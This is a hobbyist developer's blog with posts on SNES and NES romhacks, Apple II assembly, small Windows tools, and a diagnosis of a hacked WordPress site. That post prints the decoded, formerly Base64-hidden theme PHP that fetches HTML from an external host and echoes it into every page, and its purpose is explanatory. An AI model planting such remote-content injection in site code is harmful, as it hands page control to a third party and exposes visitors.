dev, computing and games

This post explains Lagoon_hitbox.ips, a proof-of-concept patch created to enlarge the hitboxes in the game Lagoon for SNES. The patch was really quick+and+dirty. Nonetheless it's posted here:

http://secretplace.cml-a.com/edits.php

What follows is a description of the patch and how it works.

First, here are some useful memory locations

$01:0502-0503 - NASIR's X position in the map
$01:0504-0505 - NASIR's Y position in the map
$01:050A- The direction NASIR is facing.
	- 00 means right
	- 01 means down
	- 02 means left
	- 03 means up
	
$01:B710-B717 - The offsets of NASIR's hit box from his position, if he is facing right
$01:B718-B71F - The offsets of NASIR's hit box from his position, if he is facing down
$01:B720-B727 - The offsets of NASIR's hit box from his position, if he is facing left
$01:B728-B730 - The offsets of NASIR's hit box from his position, if he is facing up

In Lagoon, the following code is invoked whenever an action button is pressed, even if you're not near anything.

$01/9BBD AD 0A 05    LDA $050A               ; A = the direction NASIR is facing.
					     ; 
$01/9BC0 0A          ASL A                   ; A *= 8
$01/9BC1 0A          ASL A                   ;
$01/9BC2 0A          ASL A                   ;
$01/9BC3 18          CLC                     ;
$01/9BC4 69 20       ADC #$20                ; A += 0x20
					     ; 
					     ; Now A effectively stores an array index with 
					     ; which to load hitbox offsets.
					     ; If facing right: A = 0x20
					     ; If facing down: A = 0x28
					     ; If facing left: A = 0x30
					     ; If facing up: A = 0x38
					     ; 
$01/9BC6 20 C3 B6    JSR $B6C3	             ; Call CalculatePlayerHitboxDimensions()
$01/9BC9 60          RTS                                         

The function CalculatePlayerHitboxDimensions() looks like the following

CalculatePlayerHitboxDimensions:
					     ; Preconditions: A is set to one of 
					     ;     {0x20, 0x28, 0x30, 0x38} depending on
					     ;     the direction NASIR is facing, as described 
					     ;     above.
					     ; Postconditions: $40, $42, $44, and $46 contain 
					     ;     the dimensions of NASIR's hit box; left, 
					     ;     right, top and bottom respectively.
$01/B6C3 C2 20       REP #$20                
$01/B6C5 A8          TAY                     
$01/B6C6 AD 02 05    LDA $0502               ; Load NASIR's X position
$01/B6C9 18          CLC                    
$01/B6CA 79 F0 B6    ADC $B6F0,y             ; Add left edge hitbox offset to NASIR's X position
$01/B6CD 85 40       STA $40                 ; Store it as an output
					     ; 
$01/B6CF AD 02 05    LDA $0502 		     ; Load NASIR's X position
$01/B6D2 18          CLC                     
$01/B6D3 79 F2 B6    ADC $B6F2,y             ; Add right edge hitbox offset to NASIR's X position
$01/B6D6 85 42       STA $42                 ; Store it as an output
					     ; 
$01/B6D8 AD 04 05    LDA $0504               ; Load NASIR's Y position
$01/B6DB 18          CLC   
$01/B6DC 79 F4 B6    ADC $B6F4,y             ; Add top edge hitbox offset to NASIR's Y position
$01/B6DF 85 44       STA $44                 ; Store it as an output
					     ; 
$01/B6E1 AD 04 05    LDA $0504               ; Load NASIR's Y position
$01/B6E4 18          CLC                     
$01/B6E5 79 F6 B6    ADC $B6F6,y             ; Add bottom edge hitbox offset to NASIR's Y position
$01/B6E8 85 46       STA $46                 ; Store it as an output
					     ; 
$01/B6EA 29 FF 00    AND #$00FF              ; Clean up and return
$01/B6ED E2 20       SEP #$20                
$01/B6EF 60          RTS          

If you were to skim the code quickly you'd see it loads hitbox dimensions from memory. From that, you might get the impression they are something dynamic. But, they come from a table hard-coded in ROM data. (you can see this based on the particular address they're loaded from).

Just so you know, the hitbox table data contains this (Semantics are left, right, top, bottom)

Facing  	Raw data			Plain hex offsets		Signed dec offsets	
------		--------			-----------------		------------------
Right		00 00 19 00 F8 FF 08 00		0h, 19h, FFF8h, 8h		0, 25, -8, 8		
Down		F0 FF 10 00 00 00 0F 00		FFF0h, 10h, 0h, 0Fh		-16, 16, 0, 15	
Left		E7 FF 00 00 F8 FF 08 00		FFE7h, 0h, FFF8h, 8h		-25, 0, -8, 8
Up		F0 FF 10 00 F1 FF 00 00		FFF0h, 10h, FFF1h, 0h		-16, 16, -15, 0	

Yes, the game uses slightly differently-sized hitboxes depending on the direction you're facing.

Now, the patch. What this patch does is instead of offsetting NASIR's position by values from this table, it hacks it to offset the position simply by a hardcoded number. The hardcoded numbers yield bigger hitboxes than the offsets from the table.

It always applies the hitbox of offsets {-0x30, 0x32, -0x38, 0x30 } = {-48, 50, -56, 48 }. The hitbox size is 98x104 which is about 5 times bigger than the default.

The patch modifies just four operations in CalculatePlayerHitboxDimensions:

CalculatePlayerHitboxDimensions:
					     ; Preconditions: A is set to one of {0x20, 0x28, 0x30, 0x38} depending on
					     ;     the direction NASIR is facing, as described above.
					     ; Postconditions: $40, $42, $44, and $46 contain the dimensions of 
					     ;     NASIR's hit box; left, right, top and bottom respectively.
$01/B6C3 C2 20       REP #$20                
$01/B6C5 A8          TAY                     
$01/B6C6 AD 02 05    LDA $0502               ; Load NASIR's X position
$01/B6C9 18          CLC                    
$01/B6CA E9 30 00    SBC #$0030              ; Apply left edge hitbox offset -30h
$01/B6CD 85 40       STA $40                 ; Store it as an output
					     ; 
$01/B6CF AD 02 05    LDA $0502 		     ; Load NASIR's X position
$01/B6D2 18          CLC                     
$01/B6D3 69 32 00    ADC #$0032              ; Apply left edge hitbox offset 32h
$01/B6D6 85 42       STA $42                 ; Store it as an output
					     ; 
$01/B6D8 AD 04 05    LDA $0504               ; Load NASIR's Y position
$01/B6DB 18          CLC   
$01/B6DC E9 38 00    SBC #$0038              ; Apply left edge hitbox offset -38h
$01/B6DF 85 44       STA $44                 ; Store it as an output
					     ; 
$01/B6E1 AD 04 05    LDA $0504               ; Load NASIR's Y position
$01/B6E4 18          CLC                     
$01/B6E5 69 30 00    ADC #$0030              ; Apply left edge hitbox offset 30h
$01/B6E8 85 46       STA $46                 ; Store it as an output
					     ; 
$01/B6EA 29 FF 00    AND #$00FF              ; Clean up and return
$01/B6ED E2 20       SEP #$20                
$01/B6EF 60          RTS     

And there you have it, the code for the proof-of-concept posted at the link above.


Here is a small improvement that can be made to the above hack. First, it'd be cleaner to modify the hitbox region offsets in the ROM directly. So let's do that instead.

To re-iterate, the default values are (with semantics left, right, top, bottom)-

Facing  	Raw data			Plain hex offsets		Signed dec offsets	
------		--------			-----------------		------------------
Right		00 00 19 00 F8 FF 08 00		0h, 19h, FFF8h, 8h		0, 25, -8, 8	
Down		F0 FF 10 00 00 00 0F 00		FFF0h, 10h, 0h, 0Fh		-16, 16, 0, 15	
Left		E7 FF 00 00 F8 FF 08 00		FFE7h, 0h, FFF8h, 8h		-25, 0, -8, 8	
Up		F0 FF 10 00 F1 FF 00 00		FFF0h, 10h, FFF1h, 0h		-16, 16, -15, 0	

The ROM file offsets for each direction are

Facing		Headerless ROM file offset
------		--------------------------
Right		B710
Down		B718
Left		B720
Up		B728

While we can patch the table manually, it makes for easier testing of changes if you use a patching program.

Here's some C++ code for one:

enum Direction 
{ 
    FacingRight = 0, 
    FacingDown = 1,
    FacingLeft = 2, 
    FacingUp = 3 
};

struct HitboxDir
{
    int Left;
    int Right;
    int Top;
    int Bottom;
};

void PushValue(int b, std::vector<unsigned char>* out)
{
    if (b >= 0)
    {
        assert(b < 256);
        out->push_back(b); // little endian
        out->push_back(0);
    }
    else
    {
        int u = 0x10000 + b;
        int low = u & 0xFF;
        out->push_back(low);
        u >>= 8;
        assert(u < 256);
        int high = u & 0xFF;
        out->push_back(high);
    }
}

int main()
{
    FILE* pB = nullptr;

    fopen_s(&pB, "Lagoon.hitbox.v2.smc", "rb");

    // Check size
    fseek(pB, 0, SEEK_END);
    long sizeB = ftell(pB);
    fseek(pB, 0, SEEK_SET);

    std::vector<unsigned char> dataB;
    dataB.resize(sizeB);

    fread(dataB.data(), 1, sizeB, pB);

    fclose(pB);

    HitboxDir allDirs[] =
    {
        {0, 25, -8, 8},
        {-16, 16, 0, 15},
        {-25, 0, -8, 8},
        {-16, 16, -15, 0}
    };

    // Enlarge hitboxes
    int ff = 3;
    int hf = 2;

    allDirs[FacingRight].Right *= ff;
    allDirs[FacingRight].Top *= hf;
    allDirs[FacingRight].Bottom *= hf;

    allDirs[FacingDown].Bottom *= ff;
    allDirs[FacingDown].Left *= hf;
    allDirs[FacingDown].Right *= hf;

    allDirs[FacingLeft].Left *= ff;
    allDirs[FacingLeft].Top *= hf;
    allDirs[FacingLeft].Bottom *= hf;

    allDirs[FacingUp].Top *= ff;
    allDirs[FacingUp].Left *= hf;
    allDirs[FacingUp].Right *= hf;

    // Transfer hitbox info into byte data
    std::vector<unsigned char> hitboxBytes;

    for (int i = 0; i < 4; ++i)
    {
        PushValue(allDirs[i].Left, &hitboxBytes);
        PushValue(allDirs[i].Right, &hitboxBytes);
        PushValue(allDirs[i].Top, &hitboxBytes);
        PushValue(allDirs[i].Bottom, &hitboxBytes);
    }

    // Patch the new tables in
    int destOffset = 0xB710;
    for (size_t i = 0; i < hitboxBytes.size(); ++i)
    {
        dataB[destOffset + i] = hitboxBytes[i];
    }

    fopen_s(&pB, "Lagoon.hitbox.v3.smc", "wb");
    fwrite(dataB.data(), 1, dataB.size(), pB);
    fclose(pB);

}

Running this patching program yields the table

Facing  	Raw data			Plain hex offsets		Signed dec offsets	
------		--------			-----------------		------------------
Right		00 00 4B 00 F0 FF 10 00		0h, 4Bh, FFF0h, 10h		0, 75, -16, 16			
Down		E0 FF 20 00 00 00 2D 00		FFE0h, 20h, 0, 2Dh		-32, 32, 0, 45	
Left		B5 FF 00 00 F0 FF 10 00		FFB5h, 0h, FFF0h, 10h		-75, 0, -16, 16			
Up		E0 FF 20 00 D3 FF 00 00		FFE0h, 20h, FFD3, 0h		-32, 32, -45, 0		

Find a convenient, buildable version of patcher here: https://github.com/clandrew/lagoonhitbox/

You can use the patcher to change the hitboxes as you want. If this concept seems useful then it'd be a good idea to fuss with the values until they yield something desirable.

Note:

  • All ROM file offsets are on headerless ROMs.
  • The hitboxes calculated from the routine described here is used for both talking to NPCs, and combat. While there might be a motive to affect only combat, there've also been complaints that the hitboxes when talking to NPCs are too fussy, so YMMV.
  • If you make the hitboxes obscenely large it can make the game hard to play. For example, if NPCs A and B are standing close to each other, attempting to talk to A might acidentally cause conversation with B.

This post is also available in text form here:

https://raw.githubusercontent.com/clandrew/lagoonhitbox/master/lagoon_patch_info.txt

August 27th, 2020 at 4:57 am | Comments & Trackbacks (0) | Permalink

See a video of it here: https://www.youtube.com/watch?v=lmg9sN9FO-w

Also on Twitter: https://twitter.com/clandrew__/status/1288941082202390533

As a fun thing to do for a few days I made this demo, for background I have programmed on Apple II in the past but in higher-level ways, through BASIC and Logo. The idea here was to write something in 6502 so that I could learn more about the platform. Prior to this I had some background debugging and doing small code patchings in SNES's 65816 (similar to 6502) and how to use an Apple II computer but no experience at all writing 6502 for it.

I got a book "Assembly Lines" by Roger Wagner which was a lot of help plus "Inside the Apple IIe" by Gary Little. And also a bigger book of opcodes lent to me by a friend.

Things that were easy

- Trancoding from a .PNG image file on Windows to indexed image data compatible with LORES memory layout. I wrote this command line tool which inputs an image file on Windows and outputs a bunch of data directives for the LORES compatible image data. I referred to the "Inside the Apple IIe" book to source out what the format is. The tool uses WIC to open the image and shoves a bunch of things around. This took like 20min. The code is here
https://github.com/clandrew/demoII/blob/master/ImageTranscoder/ImageTranscoder.cpp

- Testing on real actual hardware. What I mean is, I thought this would shake loose a bunch of problems. Especially around sound. There was conflicting information as to how you're supposed to access $C030 to sound the speaker. If an opcode technically corresponds to *two* accesses of the I/O port instead of one it could cancel out so no sound. This is an area where emulator would likely be more forgiving. And before you think "just copy from some sample code", various sample code and documentation contradicted each other. In the end I picked absolute LDA and it worked.

- Modern IDE Now, the bulk of the code was written using Merlin's interface on the actual Apple II. It's actually pretty good and I thought it was fine. Once in a while, whenever there was a big messy refactor though I copied the code out of the Apple II data disk and into a Windows filesystem text file because of course that's a thing. And quickly do the reverse, too. What a time to be alive.

- Debugging. The debugger built into the emulator is the most luxurious type of pampering. This is the reason I don't know what it is to work or to suffer. You can set breakpoints, conditional breakpoints, view memory and disassembly of what's executing. From talking to people, "Back in the day" you would debug by breaking into the Monitor or not at all. There are hobbyists writing Apple II code today though and I am pretty sure they all use tools like this. I feel okay with this hybrid way of doing things.

Things that were not easy

- Correct sound. Sound on most Apple II models is emitted in a weird way. You touch a memory-mapped I/O port- and how *frequently* you access the port (read or write) changes the pitch of the sound. A touch followed by 50 NOPs is a different pitch from a touch followed by 100 NOPs. And of course, you should put all of that in a loop or else the sound will be so quick it's hardly observable. You need very careful counting of clock cycles to play different tones of uniform duration. Yes, calculation involving clock cycles to figure out how to emit notes of *different tones* but *equal length*

- "Holes" and nonlinearity of graphics memory-map. Say you have some image data. It is stored with the top left byte first, and the bottom right byte last. To display it you might think, "just do a memcopy!". No no no. In graphics memory rows of pixels are stored in all jumbled up order. Even if you store your image data in that same jumbled-up order, there are "holes" in the range which you are not supposed to write to. Because I wanted to keep image positionings flexible for future use I had my source image data stored in straightforward order and copied each pair of rows based on a table of offsets. This wasn't the absolute worst just fussy.

- Branch distance limit. Because only one signed byte specifies the offset you can't branch anywhere too far away. To get around this, you branch to an intermediate place which jumps to the final place but also need to take care that the jump isn't accidentally taken by something else.

- Asymmetry of how you're allowed to use registers X and Y. For example, when you use indirect-indexed-load with X, it's pre-indexed but if you do it with Y it's post-indexed. Merlin's semantics between these two is ever so slightly different it's easy to miss and this was the root cause of an annoying bug I fixed Tuesday.

I scoped this project to LORES only so that it would be feasible and also a way to get comfortable with environment, instruction set and functions specific to this computer. The things I've heard about HIRES is that it's fewer colors, higher res, and more gnarly to work with, could also be good to check out at some point.

Some highlights

<-- Graphics bug turned a bit a e s t h e t i c. 
The root cause of this was the image loading code would scramble the input image offset passed to it. I was testing out scrolling of images (as a possible future thing to add), so the corruption happened when you hit the "down" key. Scrolling would call the image loading code again with the scrambled registers, loading an image from an incorrect place and changing which incorrect place every time.

Debugger built into the emulator. does you a favor and gives memory-mapped registers helpful human readable names (e.g., SPKR, called CHIRP in my code) rather than raw offsets. This was how I sometimes found out that I was actually using some areas of memory which seem general purpose but are not really.

For the music, I sketched it out a single-channel MIDI in Noteworthy Composer and then started testing different tones to find what ratio of I/O port setting + busy waits would produce which notes. I added the frequencies as text in the staff at the bottom.

You have this problem of "how to emit tones of different pitch but the same duration".

This problem will be obvious to you if you've programmed Apple II like this before, but I'll say it in case: to emit a tone on Apple II you touch a memory-mapped IO port. How often you touch it determines what tone it is. "Touch" here means read or write.

You're going to want to touch the port in a loop padded with a bunch of sleeps. To get a lower note, add more sleeps. To get a higher note, use less sleeps*. Easy enough.

*For sleeps it doesn't literally have to be a sleep, it could be a NOP or anything that takes up time. In my sound code the busy wait is "decrement a counter, branch conditional". You could expand the gamut of what sounds you can emit by adding an actual NOP or two.

What if you want to emit two different tones which both have the same duration? If you change the number of sleeps, you change the duration. How fussy. Fortunately, we own the code for touching the port. So I fix this by counting the number of clock cycles it takes to emit a baseline tone, and solving for the number of sleeps needed to emit a different tone with the same duration.

My code to emit sound looks like


    *                                       ;CLOCK
    A6 07          TONE   LDX $07           ;3
    A4 06          DUR    LDY $06           ;3
    AD 30 C0              LDA CHIRP         ;4
    88             PCH    DEY               ;2
    D0 FD                 BNE PCH           ;Branch taken: 3. Not taken: 2
    CA                    DEX               ;2
    D0 F5                 BNE DUR           ;Branch taken: 3. Not taken: 2
    60                    RTS               ;6

See there is a routine called TONE, and two loops labeled DUR and PCH.
PCH is an inner loop.
DUR is an outer loop.

I added comments describing how many clock cycles each line will take. For branches the number of clock cycles depends on whether the branch is taken.

Example of usage of TONE- (this part doesn't vary between pitch
or duration so clocks are not taken into account)

    A9 BC           LDA #188                
    85 06           STA $06                 
    A9 6A           LDA #106                
    85 07           STA $07                 
    20 26 66        JSR TONE                
    60              RTS                     

TONE is subroutine with two arguments: pitch and duration, nicknamed pch and dur below.

TONE takes some number of clock cycles to execute, nicknamed clk below.

We can calculate clk as a function of pch and dur.

Looking at the implementation of TONE, the initial load and return don't vary so they weren't taken into consideration. But we can go line by line and calculate how many clock cycles the interesting parts will be

    clk = 0;
    clk += dur * 3;                     // DUR    LDY $06
    clk += dur * 4;                     //        LDA CHIRP
    clk += pch * dur * 2;               // PCH    DEY
    clk += (pch * dur * 3) - (dur * 3); //        BNE PCH (branch taken)
    clk += dur * 2;                     //        BNE PCH (branch not taken)
    clk += dur * 2;                     //        DEX
    clk += (dur * 3) - 3;               //        BNE DUR (branch taken)
    clk += 2;                           //        BNE DUR (branch not taken)

which simplifies down to

clk = dur * (11 + 5 * pch) - 1;

rearranged to solve for dur, you get

clk + 1 = dur * (11 + 5 * pch)

dur = (clk + 1) / (11 + 5 * pch)

This way I got what value of 'dur' you need for each pitch to use to get about the same target cycle count as the middle pitch, 138 with duration 144 (picked arbitrarily).

If you are pro you might factor non-sound code (e.g., the loading of graphics images) into your calculations.. fortunately here the amount of time to load graphics and on other control flow ended up being negligible so it didn't end up mattering

And of course, a good thumbnail is about setting the right expectation.

Source code posted here: https://github.com/clandrew/demoII/blob/master/T.GR.asm

July 31st, 2020 at 5:54 am | Comments & Trackbacks (0) | Permalink

I put this together some years ago out of a need for a "flow-based writing" tool when I needed to get something done and kept getting stuck.

I'm referring to a kind of computer program that gives you this well-known technique: you specify how many words you want to write, and start inputting text. For this part, you mostly are getting a typical text editor. There's one twist, though: you can not save until you have written the specified word count. The program won't let you. As harsh as this sounds, it works. You will get into the flow of writing more and not get hung up on making things perfect or dwelling a lot on what's already been written. The writing might value quantity over quality but hey, if it gets you unblocked, great and it's nothing a good edit can't fix. For some of them, the program won't even let you see what's already been written until you reach the target word count.

You're probably thinking, "but there is already {insert web app name} with this functionality. Why make something like this?" Totally I found a lot of already-made applications with the functionality I described above. The thing is, the majority of them want to charge you a subscription. While I'm all for paying for software, I have trouble getting my head around buying a subscription for software that is literally so simple you could throw it together in a couple dozen lines of a high-level language of your choice.
And another thing- I'm a bit suspicious of web apps. What if they don't respect your privacy (e.g., they send everything you write to the author's inbox?) After all, they're easily geared up with the infrastructure and privileges to do just that since they're... you know, on the internet. Or, what if they shut down and then you're out of luck? If it were a typical local program (i.e., doesn't phone home) at least you can keep it locally and use it. And then there's a final reason: just because.

Sytool is written in C# with Windows Forms and runs locally, no installer. Since it's based on just what I wanted it to do it's pretty minimalistic.

The original version of this program was called "ystool", but when I went back to the code recently to clean it up, it occurred to me it's ambiguous how to pronounce it. So I switched around the first two letters. Now that leads to a question, "why was it originally called ystool". Since the original version was from around 5 years ago I have to say I have no idea what I was thinking back then, maybe I was playing a lot of Ys.

Link to GitHub here: https://github.com/clandrew/sytool

Direct-link to the release (.exe): https://github.com/clandrew/sytool/releases

June 4th, 2020 at 9:18 pm | Comments & Trackbacks (0) | Permalink

On March 9th, 2020, I opened this blog and noticed something wasn't right.

a "before and after" comparison where the blog looks screwed up after. There are a bunch of ads at the top forcing all of the blog content downward, and the blog's background appears chopped-off.

An exploit. I knew, first of all, my domain wasn't expired-- plus if it was, it wouldn't be accompanied by this sketchy ad. My web host isn't like that.

First order of business: right click view source to get a sense of it. It's something emitted server-side as opposed to something directly from theme code. Of course, I guess.

Then narrow down the repro. I confirmed that it

  • Persists across browsers
  • only reproes with this WordPress instance, not with non-Wordpress-based web sites on the same domain
  • only reproes with this particular WordPress theme not other themes

I was surprised by it being specific to the theme, since I had a lot of a hand in the theme. I didn't knowingly add or notice anything that could be a vulnerability. That being said, it was a theme I downloaded off the internet as a starting point, so who knows.

Since I keep a backup of the WordPress and theme files in a Git enlistment, I downloaded them from the web space back into the enlistment and looked for a delta. No delta.

That means two things:

  • The theme wasn't corrupted. If there's a problem with it, the problem's been there since the beginning.
  • The corruption is more likely to be in the database.

While I have backup exports of the database, I didn't have a current enough one to conveniently use as a delta unless I absolutely had to. Open PHPMyAdmin just for kicks. The theme-specific records I knew to be in wp_options so I looked there. There are not all that many records so I scrolled through and looked for clues.

There I saw a suspicious record: "credit_text2" and lo and behold, the value was a bunch of html which looked very similar to the stuff I saw in inspect element at the beginning of this. It was accompanied by other records, "credit_text", "credit_date", and "credit_date2".

I had another WordPress instance handy for testing stuff. Looking at its database, it did not have these records. Therefore, the records were added either by the exploit or something specific to the theme. Knowing that it wasn't something specific to WordPress, I figured just web search for it since the results would be unlikely to be filled up with everyday usage documentation-- and lo and behold, someone else was victim to the same thing. He pinned down the exploit and gave a really good explanation. He used the Exploit Scanner plugin. I verified it- my web site was victim to the same exploit.

And it turns out, the theme I downloaded actually shipped with this code, encoded in two layers of Base64:

function start_template() {
global $reftime;
	$updated = get_option("credit_date2");
	if ((time() - $updated) > (24 * 3600 * $reftime)) {

		$credit_text2 = file_get_contents("http://www.w***p****t********.com/form_work2/?url=".get_bloginfo('url')."&installed=".get_option("template_install_date"));

		update_option("credit_text2",$credit_text2);
		update_option("credit_date2",time());
	} else { 
		$credit_text2 = get_option("credit_text2");
	}
	echo $credit_text2;
}

if(get_option("template_install_date") == "")
{
	add_option("template_install_date", time());
}

and also, this:

$contents = file_get_contents(pathinfo(__FILE__,PATHINFO_DIRNAME)."/footer.php");
if(strpos(" ".$contents,"wp_footer();") <= 0) {
die(); } 
function get_credits()
    {
        $updated = get_option("credit_date");
        if ((time() - $updated) > (24 * 3600)) {

            $credit_text = file_get_contents("http://www.w***p****t*******.com/form_work/output.txt?ref=".get_bloginfo('url'));
            update_option("credit_text",$credit_text);
			update_option("credit_date",time());
        } else { 
            $credit_text = get_option("credit_text");
        }
        return $credit_text;
    }

add_action('wp_footer','print_footer');

function print_footer()
    {
$credit = get_credits();
echo $credit;
}

(I censored the URL.)

Like I said this code was not plainly there, it was obfuscated beneath two layers of Base64 encoding, otherwise it would have been easier to spot how the theme was adding records.

If you take away the sketchy URL and code obfuscation, it actually doesn't seem too malicious. It looks up your theme from a web site, presumably where you got the theme from-- and credits the author.

Maybe the theme wasn't shipped with a malicious vulnerability, but the vulnerability fits into this page-breaking scenario.

Suppose there could have been plans to monetize WordPress themes, where you'd have themes phone home to make sure you have paid for them. The paywall is secured by obscurity, hence the Base64 encoding. And the web site validating the paywall used to be something, now it's been changed to something else who doesn't want to maintain it or do us the courtesy of serving a more helpful request response than the whole web page in all its sketchiness. Fixing this problem is effectively unhooking from the paywall then. This particular theme, in any case, was free when I got it. I would link to it but the web site appears to be defunct. This was from a long time ago.

This code showed something else reassuring: that there wasn't a bad actor using SQL injection to add or edit random records in WordPress's database. Instead, the records were being edited by my web site itself.

The disturbing part, and the nature of the vulnerability, is you've effectively got a theme downloading text from an external web site and echoing it to your blog, trusting that the external web site serves up something sensible.

Anyway, the problem was simple enough to remove from theme and database.

I think WordPress and general CMS are good in some ways, and bad in some ways.

It's good in how many problems it solves for you and how it opens up web site building to more people. There are certain people who can make web sites with CMS that would not otherwise be able to.

It's bad in how far you're removed from the web page that ultimately gets served up to your web site visitors. If something goes very wrong and you need to debug it, even if it's something simple, you need to know something about the expansion of so many layers of terms, the evaluation of server-side functions. (If you are pro web developer you may even debug those functions.) Can I know every single server-side script, client-side script, or piece of markup that comprises a CMS-built site? No, and that's the problem. How am I supposed to be confident that my site is trustworthy? Yeah yeah, every tech has this problem, you call code you don't own, etc. I'm claiming that the problem is worse with CMS, particularly where themes and plug-ins are involved, because there aren't clean boundaries of trust.

Clean boundaries of trust. Let me say what I mean.

Suppose you have a blog. You want to spruce it up a little, so you install a theme to it. Not even a plugin, a theme, with the expectation that it simply makes some aesthetic enhancements.

  • Where does the theme's code get inserted? Is it componentized? Answer: It is not. Or at least, it doesn't have to be. While themes straddle a well-defined set of files, their code can called by any other part of your WordPress code, effectively sprinkling the theme code everywhere it wants to be.
  • When will its code execute? Is the resultant code constrained to only modifying client-side behaviors? Answer: No, the theme code could execute anywhere, and involve all kinds of server-side behaviors. Maybe you can debug it yourself if you're curious.
  • What permissions does the code have? Answer: The theme has all permissions. It has database access. It can do anything.

The word "theme" makes it sounds a lot more limited-privilege than it actually is. It makes it sound like you are just downloading some CSS file.

With CMS it's not enough to just write a bunch of markup, and clearly see the connection between the web page contents and the markup. Half the internet is delicately balanced on the whims of random plug-in authors and no one sees this as a problem. Technical people take the position of "well, that won't happen to me, because I can debug my web site" and non-technical people take the position "it's the only way I can make a web site, so there's no alternative". I guess this is all the way of the world, but if it is then (warning: hot take!) maybe not literally every web site ever should be CMS. Anyway I don't want to be a person who balances their life on big, convenient layers of magnificent technology that are impossible to understand. With this you are really at the mercy of this content generation system. This kind of thing sucks so much.

Guys, I just wanted to put my images and text onto the information superhighway. Maybe the best solution is to leapfrog web 2.0 and go right to web 3.0. Something something social AI blockchain

March 11th, 2020 at 6:00 am | Comments & Trackbacks (0) | Permalink

You know, tetris?

Computers can be used for many things. Reading books, watching sports games, communicating with others. In your life, you may even come to play some games on your computer. Some of those games may have been good. Some may have been fun. This is not one of those.

This is the game as usual with one thing changed: the camera is locked to the current piece in flight. It moves along with the piece, and rotates too. Suggestion: appreciate the concept but do yourself a favor and don't play it

https://github.com/clandrew/sirtet/

January 16th, 2020 at 9:38 pm | Comments & Trackbacks (0) | Permalink

One of my favorite retro sports games is Ice Hockey for the NES. This game gets overlooked because it's on the simplistic side and not tied to a real-life franchise, but it's still a good time.

I started getting into watching hockey streaming so I've been playing this game as something to do during intermission or when waiting for the game to start. One thing led to another and I ended up making a romhack to change the sprites over to be female looking.

Before:

After:

Some more gameplay

Here's a demo of using the tool for simple task of crossing-out the puck sprite

Instead of crossing out the puck I made other changes to the sprites of course, and used this tool to import them back into the ROM.

Ultimately it may have been possible to use someone's already-made tool in lieu of making a new one. I tried one, YY-CHR since it's popular. But, I had problems getting it to understand externally-pasted or externally-imported images, and YY-CHR's built-in image editor was not sufficient for my workflow. If that one didn't pan out, it may not bode well for the others. Since I was familiar with the image formats it was not too much to simply make a new thing.

About this game's mechanic, if you aren't familiar- this is 4-on-4 hockey. Skater players come in three varieties: light, medium and heavy.

  • The light skater is fast but has a weak shot and can be knocked over easily.
  • The heavy skater is slow but has a strong shot and tends not to get knocked over.
  • And, the medium skater is in the middle.

You pick what type your 4 players should be. A typical game involves a balance of skaters, although ultimately it's up to you.

The players, ref, goalie and zamboni driver are edited. 👍

To play it you don't need to use the tool, of course. I'm posting a patch so you can just patch your ROM.

Click here to download the patch (IPS). Patch was created using LunarIPS. LunarIPS is also recommended for applying patches. Apply the patch to an unzipped, NA release ROM, size 40976 bytes. Don't hesitate to contact me if you want to play but don't know how any of this works, I'll set you up.

And click here to download the source spritesheets if you want them for some reason.

If you want to change the sprites to fit your own creative inspiration, you too can use the tool I made, posted to GitHub here.

Update (1/15/2020): Fixed missing bun in one frame of heavy player animation, fixed back-of-ref's-head-during-penalty animation

January 13th, 2020 at 8:25 am | Comments & Trackbacks (0) | Permalink

I made a tool for converting a spritesheet into an animated GIF.

This program was borne out of a similar situation as the text editor one. I needed some functionality that was super simple but couldn't find exactly the right thing in an existing program.

I used to use a web application for doing work like this, but I don't like depending on web apps where it's not strictly necessary. Why, because when you upload your files or data somewhere, you're putting a lot of trust in that other party. They probably wouldn't mis-use your data, and the data isn't anything sensitive anyway, but the principle of it is undesirable.

There's also the fact that a web application is so much overkill for the task at hand. Think about it. Why do I need a full web stack, javascript interpreter, communication across text protocols, etc for something so simple like resizing an image, or changing the encoding? It boggles the mind. It's like SHOUTCLOUD but not ironic. I have nothing against web applications, but I don't think everything needs to be a web application. That stack is too thick.

As for the whole world heading to web applications, maybe that's inevitable. This idea could become feasible as internet infrastructure improves- in many countries it is not all that fast or always-on-and-everywhere, right now. The principle of a thin client with a smart server and a good internet connection seems interesting.

But why do these this future "web app" need to run in a browser? Why does it need to be built on HTTP, of all things? Remember, there's a difference between "internet" and "web pages". There was internet before web pages. There might well be internet after them. What is so holy about HTTP? It's hard to see anything good or holy about it, other than it's a standard (ish!) borne out of 2 decades of blood and tears. If you've had to do any work on a web browser, you'd know. I did a little. I've seen enough.

Indeed, a thin client can't even be all that thin if it can parse and display web page content. HTML5+Canvas, CSS, JS, SVG, weird extensions and back compat... there are a lot of sub-technologies required to get a competent web browser and light up even basic, typical scenarios. A lot of things could work via a simple page but in practice they do not. In the late 2010s it's not uncommon to see >10MB payloads for viewing a single site, and for pages where that payload isn't all images or video- pretty common- you can imagine the CPU necessary for unpacking some of that.

Put it all together with the fact that local computation, device battery life and internet connectivity haven't really kept up with rising web site complexities. If they did, none of this would even be a problem. I wanted to hold some optimism for here for phone apps but I highly suspect they're usually coded as web applications, hosted in web browser containers anyway.

It's nice, the idea of side-stepping that entire stack and running a program natively on your computer. If the program was written competently, it has a good chance of not being flaky. At least, it is not likely to be screwed by tech on which it is built.

Web pages are good for some things, things based around displaying text and images which are updated remotely. Maybe some light games. But you should probably not run your traffic lights, your pacemaker in a web app.

Anyway, as for this program- it runs natively, and includes some features that are useful for what I needed out of it.

Find it here on GitHub.

November 20th, 2019 at 12:22 am | Comments & Trackbacks (0) | Permalink

Finished J.R.R. Tolkien's Lord of the Rings (SNES)

This is an action-RPG based on the book series, pre-Peter Jackson movie IP.

This game has some cool moments and good atmosphere and potential to be good. Still, it was held back by many technical problems. This game ended up being a rabbit hole into something else.

A couple weeks ago, I cleared the last boss, the Balrog using the full party (minus Gandalf, since having him in your party prevents you from beating the boss; also Boromir is E_NOTIMPL) and finished the game but didn't get such a good ending because Merry and Pippin died in the boss fight. They die really easily.
So last Saturday, I booted up the game with the intention to resume at the boss fight, attempt it again and keep them alive.

However the password I had written down was rejected by the game. I swear to goodness I wrote it down correctly. I went upstairs to my computer, reproduced the situation with an emulator. It turns out, the game will indeed give you invalid passwords and that's what happened here. So I went about trying to figure out how to "fix" my password.

The password system itself involves encoding a bunch of the game state in a certain way with a checksum. This game is a bit unusual in that there are no saves to the cartridge, it hashes together literally all the state into a 48-character-long password. It took a bit of effort, but I figured out how to derive the password. From there, how to un-glitch my password and preserve the progress I had (items, character stats, door open+close state) while letting it be accepted by the game. With this, I was able to re-attempt the boss fight and get the good ending!

